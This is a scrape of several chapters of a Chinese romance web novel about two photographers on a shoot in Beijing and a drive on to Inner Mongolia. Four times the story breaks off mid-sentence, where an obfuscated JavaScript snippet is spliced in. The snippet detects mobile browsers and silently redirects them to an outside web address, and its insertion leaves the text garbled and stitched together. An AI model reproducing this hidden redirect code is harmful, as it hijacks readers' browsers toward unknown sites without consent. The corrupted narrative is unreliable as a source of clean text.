;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14080952|148419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感觉自己好像被人从皮肤上揭掉一层湿漉漉保鲜膜……也许不至于,但对他来讲的确是完全不同的体验。 于是他又深呼吸了一下。 段青深收起手机,五指张开在他眼前晃了晃:“想什么呢?” “嗯?”梁愿醒猛地扭头,“你叫我了?” “没,”段青深笑了笑,“搞定了,对方挺好说话的,不介意野生摄影师。” “是吗!”梁愿醒也笑起来,“你有告诉他你是三年前《看见·地理》杂志西北特别刊的封面摄影师吗?” 梁愿醒一口气说完的,头衔报下来熟练得可怕。 “没说。”段青深一把将他怀里头盔拿过来,往他脑袋上戴下去,“都三年多以前的事情了还挂在嘴边,质保期早就过了。” 梁愿醒把护目镜推上去:“那是你的荣誉。” 段青深再把他护目镜摁下来:“那只是我的过去。” “而且我本来就不擅长拍人物。”段青深补充了下,“这点也跟对方讲明白了。” “他愿意?”梁愿醒又推上去,眨眨眼。 段青深点头:“嗯,他那边比较急,说原本合作的摄影师家里出了急事,昨天紧急回了老家。重要的是他挺喜欢妤姐的那组照片。” “好了。”段青深最后把他护目镜按下来,扣好,摸摸他头盔顶,“你在手机里下个app,先把进京证办了。” “那是什么?”梁愿醒露出清澈的目光,不过他只是短暂地清澈了一下,旋即反应过来,那是字面意思,“喔,进北京的通行证。” “外地车牌都得办。”段青深说,“我们办六环内的,但到时候找个地铁口近的停车场把车放下,不在城里开。” 这在北京确实是个明智的选择。梁愿醒投去肯定的目光:“靠谱的段老板。” “说走就走的梁助理。”段青深无奈看着他。 200多公里不算远,从京台高速转上京沪高速,京津冀路段允许摩托车上。过收费站的时候交警检查了梁愿醒的摩托车驾驶证,告诉他全程靠右行驶。 他们在182号出口往天津方向,有段很长的距离只有两条车道。摩托车在高速只能跑80的时速,双车道的情况下段青深并去和他跑一条车道,留一条快车道给别人。 进了天津地界后天开始慢慢暗下来,段青深用对讲说:“让我开前面,醒醒。” “好嘞,你过去。” 看见“北京 65KM”的路牌时,天已经完全黑了。 过公安检查站的时候飘起了小雨,气温不到10度。段青深降下副驾驶的车窗看着另一个车道排队的梁愿醒,拿起对讲:“你冷不冷?” “我冷。”梁愿醒说,“这就是南北差异吗,半个月前我们酒吧还开在空调。” “你们制冷制热啊?”段青深开玩笑地问他。 “冷。”梁愿醒嗓子哆嗦,说,“我好冷。” 段青深鼓励道:“坚持一下,你才二十三,正是风雨中不怕一点儿痛的年纪。” 梁愿醒愤怒地转头看过来,发现此人竟车窗大开:“你三十了,哥,正是要保重身体的年纪,窗户关上吧。” 段青深笑起来:“过了检查站靠边停一下。” “做什么?” 检查站后面有公安岗亭,那附近可以应急停车。段青深说:“就停一下。” “喔。” 过安检,出示证件,开后备箱,很快通过了检查站。梁愿醒那边快一点,因为他没尾箱。雨不大,像雨雾,甚至都看不见水滴,但是非常冷。 梁愿醒的护目镜上映着间错的车灯和警灯,北方的冷和南方全然不同,冷得大刀阔斧又淳朴。冷就是冷,雨只是陪衬。 段青深开过来停在他旁边,下车。 “怎么了?”梁愿醒问。 “头盔给我。”段青深说,“我骑车,你开我车去。” “嗯?”梁愿醒不明白。 “你穿太薄了。”段青深说,“赶快,我有摩托驾照,你上车去。” 12.第 12 章 梁愿醒最开始以为他叫自己靠边停车是打算拿件厚外套出来,没想到他直接是换车。 交警摩托的红蓝警灯交错闪着,道路上浅黄色的转向灯、行车灯、路灯……被濛濛的细雨笼罩出低速快门的拖影画面。 真正的远行之路比梁愿醒设想中的更曲折——比如天气预报上那个“10度至21度”它从字面看起来毫无攻击力,但实际上它在北京的雨夜里对着自己一顿刀枪剑戟。 因为在检查站过去的公安岗亭这边只能应急停一下,不能停太久,梁愿醒坐进吉普驾驶座后快速调整了下座椅位置和方向盘高度,然后扣上安全带挂挡往前开。 坐在车里,绵密的雨喷洒在挡风玻璃。他慢慢汇入车流,天色很暗,视野差,车也多,根本找不见骑摩托的段青深。 也是因为换车比较仓促,两个人只换了驾驶员,手机、耳机和对讲都没动。 梁愿醒扶着方向盘,跟着车载屏幕的导航顺着路继续开。 一下起雨来,北京的南六环也开始堵了。 梁愿醒踩着刹车,拿起对讲,正反观察了下,看见了说话键,按住:“你……你骑得惯吗?” 本来想问的是“你还好吗”但似乎有点怪。 对讲那边传来的声音有滋滋的电流和凌乱的风声:“还行,这车动力挺强的,二挡轻轻拧一下提速好猛。” “是吧!”梁愿醒扬着声音,“我就看中它这点!” 然后才带了点不好意思地说:“那个…让你受苦了。” 段青深:“三十正是吃苦的年纪。” “……”梁愿醒无语,怎么还抓着不放了呢。 段青深又说:“吃着吃着就饱了。” 梁愿醒笑了:“晚上请你吃饭。” “好嘞。” 晚上吃火锅。 外面下着雨,火锅店里咕噜噜的声音和黏在玻璃窗上的蒸汽水雾,竟有冬天的感觉。尤其在外面受过冻,这种感觉更强烈了。 段青深在检查证件,他们把车停在地铁口附近后坐地铁过来的。因为只住两个晚上,大部分行李留在车里,只提一个行李箱和摄影器材。 行李箱里不仅装着二人这两天穿的衣服,还塞了很多需要洗的,入住后明天在酒店里洗。 等待火锅沸腾的时间里,梁愿醒忧心忡忡地看了眼窗外,说:“拍摄的时候下雨怎么办……” “那就拍雨。”段青深放好包,“下什么拍什么。” 梁愿醒豁然开朗。 是啊,风光摄影师眼中天气没有好与不好。晴空万里是风光,电闪雷鸣也是风光。 不过第二天很幸运,什么都没下。雨后天蓝得不真实,空气里好像还有昨夜小雨残存的水分,嗅起来清清凉凉的。 段青深把相机包背好,笑着说:“你走到哪儿闻到哪儿,小狗似的。” “嘶。”梁愿醒蹙眉,“没闻过首都的味道嘛。” 说话间,出租车到了。 据姜妤在微信上的描述,他们的拍摄对象在北京是个设计工作室的老板兼设计师,自己有一个独立的服装品牌。 姜妤昨晚听说他们抵达北京后,特意又发了微信过来交待一番,说对方是长发男生,到时候见面别太诧异,他姓迟,叫迟双海。 迟双海的工作室在东二环边上的写字楼里,他的助理接两个人上楼。从前台旁边的走廊进去迟双海的化妆间。 正如姜妤说的那样,迟双海一头乌黑的长发。他刚化好妆,几个助理在帮他调整西装的袖口和里面的衬衫领子。 迟双海瘦高的,中分长发垂到腰肌。超模妆面,遮掉了眉毛,穿一套他自己设计的偏中性的奶油色西装,雌雄莫辨。 段青深走过去跟他握手:“您好,我是段青深,姜妤的朋友。这位是我助理,梁愿醒。” 迟双海礼貌地说:“辛苦了段老板,听说是昨天临时改变行程来的北京?那边先坐一下啊,稍等。” 刚刚接他们上楼的助理迎上来说:“我们先去摄影棚那间吧,那边备了茶水,双双等下还要再弄一下头发的。” “好,麻烦了。”段青深回头看了看梁愿醒。 这里其实不仅是化妆间,换衣服也在这里,所以挂着很多他们工作室的衣服,其中有很多几乎是比基尼款式的……梁愿醒也不知道那究竟是内穿还是外穿,根本不敢乱看。 所以梁愿醒只能看着自己老板。 导致段青深一回头就跟他对视,段青深抿了下嘴,把笑憋了回去。 摄影棚就在化妆间的斜对面,助理把他们带到咖啡桌边的沙发,说她回去化妆间里帮忙,便离开了。 她走后,梁愿醒重重松了口气。 “这么紧张?”段青深问。 “他真的好好看啊。”梁愿醒答非所问,“跟明星似的,不愧是妤姐的模特,妤姐眼光是真好。” 段青深眼神复杂地变幻了下,说:“拐着弯夸你自己呢?” “嗯?”梁愿醒歪头,随后明白了,原来他指的是一开始姜妤要把自己车轮胎卸了绑仓库里,“没有,妤姐开玩笑的,况且我哪有迟双海那气质。” “是风格,你气质也很好的。”段青深纠正他,“只是你们俩风格不一样。你比较像少侠,骑一匹黑马出来浪迹天涯的那种。” 梁愿醒收声,他还是有点不习惯被段青深这么夸,于是选择闭嘴,让他自己冷静一下。 那位不仅没冷静,还追问了一下:“你喜欢迟双海那种类型的?” 梁愿醒摇头,又犹豫,反问他:“他是什么类型呢?” “就……” 他话没说完,摄影棚的门从外面拉开,迟双海和两个助理一起进来了。段青深便没再说下去,站起来,梁愿醒跟着起来。 “久等了。”迟双海轻轻颔首。 他妆面又细化了些,眼线延伸出来,画了根桃花枝,还点了几片桃花瓣。段青深拿出相机,顺便看了眼他助理。 梁助理不知是为表忠心还是如何,不卑不亢直勾勾地也盯着段青深。 段青深没跟他在半空用视线搞魔法冲击,他要去拍摄了,迟双海已经站到白幕布里。 “醒醒,来布光。” “噢!” 拍摄的时候段青深明白了,为什么跟迟双海明确讲了自己不擅长人像的时候,他并不介意。 因为迟双海是个熟练的模特,完全不需要摄影师指导动作,他需要的只是懂得光影和会布光以及控制风扇的人。 摄影棚里放着音乐,迟双海明确知道自己哪个角度更好看,但也没忘了拍摄重心是卖衣服。展示背面的时候因为他头发太长,跟助理要了根簪子。 可迟双海手法不太纯熟,转了两个角度,都还剩个发尾耷拉着。 梁愿醒就站在灯下,和他很近,下意识上前一步:“我帮你吧。” 他妹妹常在家做簪子,还有发夹头饰之类的,因为好奇过妹妹是怎么一个筷子拧两把就稳稳插好头发,所以学了一下。 没承想迟双海倏然变了脸色,冷冷说了句:“不用,别碰我。” 同时他向侧边挪了一步,距离恰好是梁愿醒走的一步。其中的嫌弃简直要具象化了,梁愿醒尴尬地僵在原地。 他不知道说什么好,解释一下自己没任何恶意?他只是想帮他把发尾塞进去而已。 棚里的几个助理拍摄的时候都在各忙各的,回消息或整理饰品。 一时间摄影棚里只剩下音乐声,偏偏那还是一首慵懒又随性的曲子,和当下紧绷的氛围格 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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等红灯的时候段青深说:“那个迟老板,他可能只是一些下意识反应。” “什么?”梁愿醒看过来,“哦,你说那个啊,没事,我……我大概是让他感觉不舒服了。” 他还是有些自责,也很后悔。 “不是的。”段青深说,“他当时是一种本能反应,应该是对陌生人的触碰行为很抗拒。你不用放在心上。” 可能还有些不愉快的回忆,触发应激反应,段青深没多猜测。 梁愿醒点头:“好。” 其实他能明白段青深的意思。人在外地,北京那么大,而且接下来衔接夜景拍摄,怎么都是和对方一起对付吃一口最方便。 段青深就是不满迟双海的态度,可下午那事真论起来,自己和迟双海其实都不算错。 自己没有恶意,迟双海是本能抗拒。按理说是件小事,打个哈哈也就过去了。 可坐在一起吃饭的话,梁愿醒必然吃得不舒服,所以段青深选择护短,无理由的偏爱。 想到这儿,梁愿醒偏头跟他笑笑,又往他身边迈一步,没什么意义地歪着身子撞了下他胳膊。 段青深想拍拍他脑袋,手抬到他肩膀的位置时又停顿,转而去整理了下他外套肩膀。肩线有些后移,段青深把它往前拎了拎。 “你衣服太大了。”梁愿醒说,“我之前觉得我们俩身材差不多,结果还是你尺码大一点。” “嗯。”段青深点点头,他大约比梁愿醒高5公分,“晚上请你吃饭,长长身体。” 红灯结束了,他们继续往前走。 13.第 13 章 二十三正是长身体的年纪——这句段青深憋住了没说,但从眼神传达出来了,于是梁愿醒平静地凝视了他片刻。 夜景拍摄的部分就在写字楼这边,大楼是圆弧设计,晚上大楼开灯后比白天好看很多,一圈圈的灯盘旋而上。 梁愿醒举着灯帮段青深布光,写字楼晚上行人挺多的,有人路过就要暂时停下。 “挺冷的吧。”迟双海的助理从咖啡店里买了几杯热饮,她先问离她最近的梁愿醒,“弟弟,热可可ok吗?还有热的红茶,你要哪个?” 梁愿醒超乖的:“我都可以,不挑的,先让大家拿吧!” “哈哈没事儿!我们也都是喝什么都行的,高强度工作没人控糖,挑爱喝的喝。” 梁愿醒要了热可可,几个人在咖啡店门口的露天桌椅坐下休息。 迟双海坐在他们对面,翻看着电脑里的照片,助理帮他补妆。 “好烫……”梁愿醒小声说。 “盖子打开敞一会儿。”段青深那杯是红茶。大家都把直饮盖打开了,叫北京秋夜里的风来降降温。 “你看。”梁愿醒打开杯盖,这杯热可可上飘着一片熊猫头的巧克力片,白色的部分是白巧,很可爱。 段青深倾过来看:“可爱。” 梁愿醒手伸到他那边去拿相机,想拍一张。手都摸到它了,发现段青深给它换了个长焦段的镜头。 于是他问:“我要是只有长焦,但又没办法和拍摄物拉开距离的话,该怎么办呢?” 段青深:“拿手机拍。” “哦——” 梁愿醒用手机拍了两张,因为眼看着它就要化了。段青深准备去店里跟服务员要个小叉子什么的,把那个巧克力片舀起来,然而下一刻,小梁助理直接用吸管把它搅进去了。 “……我刚还想着进去要个勺子叉子什么的。” “进去肚子里都一样。”梁愿醒笑笑。 那确实。 短暂休息了一会儿,大家继续工作。刚刚坐下喝东西的时候,段青深观察了几个机位,他站起来脱掉外套,梁愿醒几乎跟他动作同步,二人对视了一眼。 “这个好烫,给我喝热了。”梁愿醒说。 “我也喝热了。” 段青深叫迟双海先坐在这里不动,然后简单给梁愿醒说了一下补光的位置。 接着,段青深拿着相机走进咖啡店,从店里面透过落地玻璃来拍人物。 写字楼组间的人造光源是精心设计过,连廊外墙的灯带和地面路灯,以及一楼二楼的商铺招牌。虽然光线混乱,但它们集中且平衡,在画面中可以通过快门速度来控制。 他需要咖啡店玻璃上的一些可爱小贴纸来和写字楼夜景做一个对比呼应。然后段青深对焦的时候……对到了梁愿醒身上。 取景框里青年穿一件单薄的长袖T恤,是很简单的款式,铅灰的底色,印了个卡通画。他两只手握补光灯,光源并没有朝向他,所以在段青深的视角中,他在看着光投射的方向。很专注,他只在乎手里的补光灯,周遭任何事情都跟他没关系。 刹那的走神,段青深已经按快门拍了下来。 不过他很快调整好情绪,重新对焦在迟双海,继续工作。 “哇……”迟双海的助理在电脑上翻看着今天的片子,“段老板,您真的很会拍诶。” 工作室里很轻声地放着上世纪港片里的歌,窗外是二环夜景,听见别人夸他老板会拍照,梁愿醒回过头。但工作室里人有点多,他们这阵子上冬季新款,于是梁愿醒偷笑了下,继续贴着窗户看下面的车流。 段青深一直在导照片的这个助理旁徘徊,就等着她翻到拍梁愿醒的那张—— “这张对错焦了。”段青深假装恰好瞥见,走到她座位旁,“不好意思。” “哦!”助理点头,“没事呀,你把弟弟拍得也很好看!” 画面是慢速快门,拖拽了些灯光。 “能不能麻烦您把这张……” 段青深话未说完。 “我把这张发您邮箱吧段老板,就跟我们签的拍摄合同上的邮箱可以吗?”助理直接问。 “可以,谢谢。”段青深说,“麻烦了。” 段青深松了口气。 这一层工作室挺大的,五六个人在中间的厅里走来走去忙活着,晚上快九点了也没有下班的意思。 “啊,迟老板。”梁愿醒从玻璃反光看见迟双海走来自己旁边,他侧过身,有些局促,慌乱地找了个话头,“您这边…挺忙的。” “对,因为要上冬季新款,最近都在加班,所以妤姐结婚都没空过去。”迟双海拢过散下的长发,悠闲地走到他旁边。 这个动作让梁愿醒有点儿无措,毕竟下午拍摄的时候有些不愉快,他还是挺自觉的一个人,可能迟老板并不喜欢自己。 于是梁愿醒就那么站着,他拿着手机,刚才想对着下边拍张夜景。由于工作室灯光很足,他想拍外面,就需要把手机镜头贴在玻璃上,可这里安装的是双层玻璃,所以还是隔了一点距离,会反光。 “拍夜景吗?”迟双海又问他。 他点点头,尽量让自己看起来很乖,没有攻击性。迟双海也看出来了,他笑了下,走到梁愿醒的另一边,那边有个帘子,但不是窗帘,应该是布景帘之类的,和窗边有一米多的距离。 段青深就这么看着迟双海把帘子拉上了,连带着梁愿醒从他视野里被隔绝。 那帘子竟是能从一面墙拉到另一面墙的,梁愿醒错愕,眨眨眼。迟双海说:“拍吧,这样不反光了。” “谢、谢谢迟老板……” 对于迟老板态度的转变,梁愿醒摸不出个头绪,极度不自然地拿出手机,往下拍……快速拍了两张后,又点头说了句“谢谢”。 这时候迟双海才轻咳了声,说:“那个,下午凶了你,抱歉啊。” “不不,迟老板。”梁愿醒说,“是我失礼在先。” 迟双海没再说什么,双臂自然地抱在前胸,垂眼向下看。看了一会儿,他自己也拿手机往下拍了一张。 梁愿醒不解,他在这里工作,应该每晚都能看见。他自然不会多问,万一再触碰到别人不舒服的点,那更完蛋。 他跟迟双海隔着两步远,有点尴尬地站了会儿。接着背后的帘子被人从墙边撩开。段青深看过来:“我以为你丢了呢。” “怎么会。”梁愿醒松了口气,朝他走过去,“看,我拍的。” 段青深凑过来看他手机,顺便快速瞄了眼那边的迟双海。 “拍得不错。” “我们可以走了吗?”梁愿醒微微靠近他,压低声音,“我有点想躺下了,不是困,就是不想维持直立状态。” 段青深噗呲笑了下:“我就是来喊你走的。” “啊太好了。” 段青深过去跟迟双海打了个招呼,再走出这道帘子的时候,发现梁助理已经穿好外套收拾好包,甚至还拿上了他的外套,一切就绪地看着他。 “那个……”回去酒店的路上,出租车后排,段青深还是没忍住,“迟老板跟你说什么了?” “嗯?哦,没什么,他就跟我道了个歉,搞得我有点不安。” 段青深看着他,但他没看自己,看着他那一侧的车窗。 他不知道梁愿醒在想什么,也无从问起,那样太奇怪了。但有一点段青深是笃定的,梁愿醒虽然年纪不大,或许阅历也并不深,可他有着强大且坚定的信念感。 那是段青深没有的,三十年来未曾理解的东西。 他就这么盯着梁愿醒的后脑勺,盯到自己都没意识到梁愿醒已经没再继续看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14099863|148419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 车窗外,而是在和自己对视。 “?”梁愿醒投来一个问号。 “……”段青深乍然回过神。 要说‘三十岁’这个成就为段青深带来了什么加持,那大概就是不动声色临危不惧,他镇定问道:“你想吃点东西吗?现在点外卖的话,到酒店差不多就能送到了。” “哦——?”梁愿醒眼睛亮起来。 问对了。段青深窃喜了下,然后掏出手机,打开外卖软件。 第二天的拍摄在户外。 他们中午12点30分出来拍摄,这个时间外面的人相对比较少。 “迟老板,在这边停一下。”段青深叫住前面走路的几个人。选大中午的出来拍摄,不仅是因为人少,也是因为光比很大。 走在前面的迟双海一行人停下,回头。他们以为段青深要一个抓拍,迟双海身边最近的一个助理直接让开了两步。 段青深习惯性地先把相机腕带在手上缠了两道,说:“醒醒,你把他带到左边那个墙边,让他腰部以下留在影子里。” “好。”梁愿醒顺便从包里抽出柔光板,“你想要什么光?” “还能选?”段青深笑着问,“待遇这么好。” “那是自然,要前景吗?我去那家书店里问问能不能把他家门口那盆花端过来。” 段青深失笑:“不用不用。” 转而又看了眼那盆花。 梁愿醒了然:“先拍这张,拍完我去问。” 梁愿醒先去引导迟双海站到段青深想要的位置,然后举起柔光板,防止他上半身过曝。他大约猜到了段青深的思路,让人物从阴影走出来。 梁愿醒只在线上上过一些摄影课,修图就是那会儿学的。当时大数据给他推了很多关于摄影的内容,鱼龙混杂什么都有。其中不乏有人大放阙词说‘需要后期的照片都是废片’,坚持认为真正的摄影就该直出,拍下来就直接发。 彼时那些铿锵有力的发言给尚在大学的梁愿醒带来不小的震撼,要不是上过正规摄影课,还真把梁愿醒唬住了。 其实他曾有段时间很好奇段青深修图的程度如何,有传言风光摄影师修图的力道可不输旅游打卡博主,能把黄的修成粉的,而且嘴硬。 不过梁愿醒最后还是认可了那句话:摄影技术是下限,画面审美是上限。 终于,这次正式的商拍收工了。 “这张是故意让脸部轻微过曝的。”段青深跟迟双海的助理解释,“如果不满意的话,后期可以从这里吸色调一下。” “好嘞,好看的。” 工作室里一直放着音乐,段青深在跟助理过照片,梁愿醒跟着BGM轻声哼着,找了个不碍事儿的地方坐着看大家忙活。 照片全部导过去后,他们在北京的工作就结束了。迟双海忽然走过来,问他:“段老板,这些照片怎么署名?写你的真名吗?” 因为迟双海此前问过姜妤,这个摄影师有没有工作室,姜妤说目前没有,所以他才来问署名。 段青深收拾器材的动作停顿了下,旁边帮忙的梁愿醒也同步停下,看着他。 “不署名了吧,我无所谓的。”段青深说。 还是那个原因,他真不是专业拍人物的摄影师,正儿八经署名,他觉得没必要。 “要不现编个工作室名字吧。”迟双海说,“不然搞得像我自己的人拍的,平白占了这么大便宜。” 段青深笑了下,正准备直接拒绝,可转念一想,这次拍摄,梁愿醒忙前忙后,署名的话,该把他带上。 于是段青深点头,说:“嗯,好。” 他转头看着梁愿醒。 梁愿醒听见了他们的对话,立刻开口:“青山醒。” “好的。”迟双海拍拍助理肩膀,“备注一下,青山醒摄影工作室。” 14.第 14 章 有的人就是这样。 他眼神并不妩媚,姿态也并不妖娆,甚至手指头都没动一下,但他只要看过来一眼,就让人心甘情愿跟他走。段青深看着前边的摩托,这么想着。 轮胎压着北京的秋天驶出六环,下午两点天气很好,梁愿醒骑在前面。 京开高速过新发地和海子公园的那段路堵了一小阵子,堵车的时候梁愿醒把护目镜推上去。十月是北京很舒服的时节,白天里是冷的,但没有非常冷。梁愿醒微微仰些头,看着天上一团浓积云。 他耳机里放着一首《Capital Letters》,前奏刚响,对讲跟着响了。段青深在他旁边车道的车流里,位置在他后面一点儿,说:“推首歌给我?” “好啊。”梁愿醒直接把这首正在播放的从微信分享给他。 段青深的音乐列表没有什么自我喜好,他就是在音乐app里收藏几个类似于“适合开车听的100首歌”这样别人整理的歌单。 这件事在柳青梁服务区被梁愿醒得知的时候,他差点没夹住面条。 “啊——?”梁愿醒的面条掉回碗里,“你是说,你从来没有自己给自己调配过一个歌单?” 梁愿醒听见了这辈子听过最荒谬的话。 “是的。”段青深比较平静,“你为什么反应这么大?” “还能为什么。”梁愿醒说完这句后,找了半天没找到个合适的词,磕巴住了,“当、当然是因为……” 他说一半,停下了。段青深没催促,继续吃面。服务区里汤面的味道还过得去,段青深不紧不慢地吃了口面,同时眼睛没低垂,一直看着梁愿醒。 一直看他,是因为段青深知道他磕巴的原因,不想错过他精彩的表情变化。 段青深嚼着面条,咽下去,又用勺子舀了口汤。 他觉得梁愿醒是在为自己刚刚的错愕找补,很简单,因为每个人对待生活的方式不一样。梁愿醒自然也意识到了,其实这并不是需要大惊小怪的事情。 “那个…我不是觉得你奇怪。” 段青深点头,夹了根咸菜,嚼得咯吱咯吱:“嗯。” 其实他不介意梁愿醒怎么想的,他没所谓,但这会儿坏心上来了,就想看梁愿醒到处找词儿的样子。 “好吧,我确实有那么一下子觉得你好怪,对不起。”梁愿醒摆出很乖的表情。 没想到他直接道歉,换段青深慌了。他没想真的要梁愿醒道歉,放下筷子,咽了下:“没什么的,逗你玩呢,别放心上啊,我没在意。” 服务区里人来人往,荣乌高速从山东荣城往内蒙乌海方向。十月末自驾去西北的人比月初少了些,但还是有的,秋天的尾巴也是秋。 可以发现的是,大部分人去西北之前都有做一些功课。有人已经穿上了冲锋衣,因为室外的体感温度已经只剩下6度。 从北京出发到现在,8个小时,500多公里,今晚在鄂尔多斯过夜。 他们决定住在高速口附近,在服务区吃完饭后加满了油。从加油站便利店出来的时候,梁愿醒手机弹出东胜区气象台发布的大风蓝色预警。 梁愿醒从来不把大风预警当回事儿,他毕竟是浙江长大的小孩,台风跟亲戚似的年年来。原想着区区七级大风,根本—— “哇…”梁愿醒抬手挡了挡眼睛,然后转头,“内蒙古也有自己的台风是吗?” 段青深第一时间没明白他的意思,不过很快反应过来了,说:“起码沙漠离这儿还有两百公里,不然风里全是沙子。” “内蒙古有沙漠?”他对内蒙的印象只有大草原。 “有啊。”段青深和他走向停车区,“附近的话…响沙湾,想去吗?去了给你弄个滑沙板。” 风声太吵了,梁愿醒没听清:“刮痧板?” 段青深顺着他话:“是啊,南方人湿气重。” 梁愿醒蹙眉,然后摇头:“算了,我怕疼。” ——他居然没有发现任何不妥,比如去响沙湾的话为什么要给他弄个刮痧板,明明二者没有任何联系。段青深哭笑不得,抬手想拍拍他脑袋,又忍住了,只轻轻揉了两下他后脑勺。 梁愿醒拧开水最后喝了一口,把头盔戴好,跨上摩托车。 段青深没有立刻去开车,而是站在他车边,说:“刚说去响沙湾是给你弄个滑沙板,在沙丘滑下来的那个,你想玩吗?” 梁愿醒的护目镜没盖下来,看着他:“啊……” 有点犹豫,有点想去但又不想耽误行程。 段青深说:“晚上想想,反正你也睡不着。” 距离预定的酒店只有十多公里,过收费站后拐上匝道。大抵是因为这一片地势空旷,风刮起来像千军万马。 过了收费站后,高速公路匝道要跑一个大弧度的回头弯。荣乌高速边上是京拉线,四周没什么遮挡,天地浑然一体,夜空笼罩下来,两辆车恍若在奔向星空。 段青深是就近订的酒店,在附近里搜了个看起来还不错的。 酒店有洗衣服务,办入住的时候段青深跟前台要了两个大点儿的脏衣袋。前台转身去拿脏衣袋的功夫,梁愿醒忽然感觉自己不太对劲。 他就站在段青深旁边,原本低头看手机呢,嘭一声手机搁在前台上,一只手捂住口鼻,另一只手像抓救援绳一样抓住段青深胳膊。 段青深一看便知,这是流鼻血了。梁愿醒慌张地看着他,倒不是流鼻血这事儿很可怕,而是他怕弄得哪儿都是。 梁愿醒下意识仰起头。段青深“哎”了声,伸手兜住他后脑勺,把他脑袋拉回来,说:“不能仰头,让它往下淌。” 这样一来,血从梁愿醒的指缝不停往外渗。另一位前台赶忙递了盒抽纸过来,段青深快速说句谢谢,然后抽了三四张:“你手拿开。” 梁愿醒“唔唔”了两声,摇头,表示不想拿开。这大庭广众的,前台旁边还有两对办入住呢,他不用看都知道手拿开后自己是什么狼狈样子。 两滴血点子先后砸在地板上,段青深又说:“拿开。” 这次凶了点,凶了那么一下子,他又说:“血很脏的,你不能仰着头让血顺着鼻腔咽下去,手拿开,让它淌出来,没事的。” 前台里面的工作人员也说:“是啊,没事的,我们这边接待过很多外地客人,刚到这里不适应而已啦。” 说着,那边大堂经理拧了块热的湿毛巾过来:“来来,拿这个!” “谢谢。”段青深接过毛巾,一直攥在梁愿醒手腕上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14112140|148419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的手其实没有多用力,毛巾拿过来后不由分说将他手一拉,立刻用毛巾给他擦了一把。 梁愿醒过于震惊而僵住。 归根结底的原因还是无法接受这个被自己定义为“偶像”的人看见了自己血污了半张脸的样子……然后他还蹲下来用纸巾擦掉了地上的血。搞得大堂经理高声“哎哟”了一嗓子,叫他不用管地板。 梁愿醒自己两只手捂住毛巾,看着他把纸巾丢去垃圾桶再回来,拿上前台给找的大号脏衣袋,扶着行李箱,又拿走了梁愿醒的包。 然后看着他:“跟上,没手管你了。” 梁愿醒点头。 进到电梯里后,他从电梯墙的反光看见自己衣服上也沾了几滴血,又挪开毛巾,折了一道擦擦脸。 就流了那么一小阵子,梁愿醒长长叹气,吐魂似的。段青深在旁边说:“水土不服,这边气候干燥,流点鼻血没什么的。” 梁愿醒有气无力地摇摇头:“我不能再拿你当偶像了,形象败完了。” 段青深审视着他,心说你自己败形象为什么除了我的偶像籍,笑了下:“我早说了,别把我当偶像,我只是个无业游民。” “我也是啊。”梁愿醒说。 电梯到了,门打开。段青深身上有个双肩包,他把梁愿醒那个包又单挎在肩上,腾出了一只手扶在他后背。 “你不一样,你是工作的店倒闭了,我是辞职……辞编。” 时间已经挺晚的了,十点半。段青深在外卖软件上买了些水果,又买了盒复合维生素。梁愿醒有点不爽,坐在椅子上:“大家都是南方人,你为什么没事?” “我有事的,我喉咙很疼。”段青深实话实说,他自己嗓子干得要冒火,“其实北京这个时候也会挺干燥的,只不过我们呆的那两天刚下过雨,所以湿度还好。” “这样啊……”梁愿醒先把骑行服脱下来,里面是一件长袖T恤。因为骑行服是连体的,他上边穿一件T恤,下边是光的。 前几天他跟段青深住一间屋子里的时候,都是到了房间就先后去洗澡。梁愿醒会有点拖延,一般段青深先洗,他趁着段青深洗澡的时候换衣服。 但这会儿…段青深要等外卖,没有先洗澡的意思。 而梁愿醒又得先把骑行服脱了一半,因为段青深已经拿上脏衣袋走到他面前,跟他说:“快脱了放进来。” “……”梁愿醒骑行服的上半部分搭在腰间,他确实难为情,尤其是对方穿戴整齐的情况下。但还好,做一下心理建设就好了。 结果是他都准备站起来继续脱,段青深却把脏衣袋放下,说:“我出去抽根烟。” “啊?”梁愿醒抬眼看他。 他自然知道段青深离开房间的用意,无非就是给自己一个脱衣服的空间。他本想说不用的,他虽然确实是会畏惧大型多人澡堂子的那种南方人,但段青深已经快步走出去,门都带上了。 